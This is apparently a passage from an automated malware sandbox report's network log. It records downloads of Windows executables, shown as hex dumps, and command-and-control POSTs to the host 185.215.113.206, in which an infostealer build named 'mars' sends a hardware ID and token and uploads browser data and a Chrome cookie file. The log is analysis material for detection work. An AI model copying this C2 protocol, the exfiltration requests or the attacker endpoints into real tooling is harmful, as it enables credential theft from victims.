00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 09:37:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 09:37:44 GMTContent-Type: application/octet-streamContent-Length: 3331584Last-Modified: Tue, 12 Nov 2024 09:17:31 GMTConnection: keep-aliveETag: "67331d2b-32d600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 e0 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 33 00 00 04 00 00 a3 e0 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc ca 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c ca 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6f 71 73 7a 73 72 75 00 20 2c 00 00 b0 06 00 00 1c 2c 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 65 6d 74 78 65 77 71 00 10 00 00 00 d0 32 00 00 04 00 00 00 b0 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 32 00 00 22 00 00 00 b4 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 09:38:09 GMTContent-Type: application/octet-streamContent-Length: 1830912Last-Modified: Tue, 12 Nov 2024 09:17:23 GMTConnection: keep-aliveETag: "67331d23-1bf000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 20 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 6a 00 00 04 00 00 49 3b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 61 66 7a 73 6e 6b 61 00 60 1a 00 00 b0 4f 00 00 54 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 70 72 62 66 68 73 61 00 10 00 00 00 10 6a 00 00 04 00 00 00 ca 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 6a 00 00 22 00 00 00 ce 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 09:38:18 GMTContent-Type: application/octet-streamContent-Length: 2827264Last-Modified: Tue, 12 Nov 2024 09:16:27 GMTConnection: keep-aliveETag: "67331ceb-2b2400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 f5 ca 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 79 72 76 73 7a 63 70 00 e0 2a 00 00 a0 00 00 00 c4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 74 71 6b 66 79 76 68 00 20 00 00 00 80 2b 00 00 04 00 00 00 fe 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 02 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731404522230Host: self.events.data.microsoft.comContent-Length: 7973Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 31 36 30 30 31 39 37 36 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="hwid"5F16001976C22312027626------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="build"mars------GCGIDGCGIEGDGDGDGHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="message"browsers------EBGIDGCAFCBKECAAKJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"plugins------JDAKJJDBGCAKKFHIJEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="message"fplugins------BKEHDGDGHCBGCAKFIIIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: 185.215.113.206Content-Length: 7415Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FCBAECGIEBKKFHIDAKEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 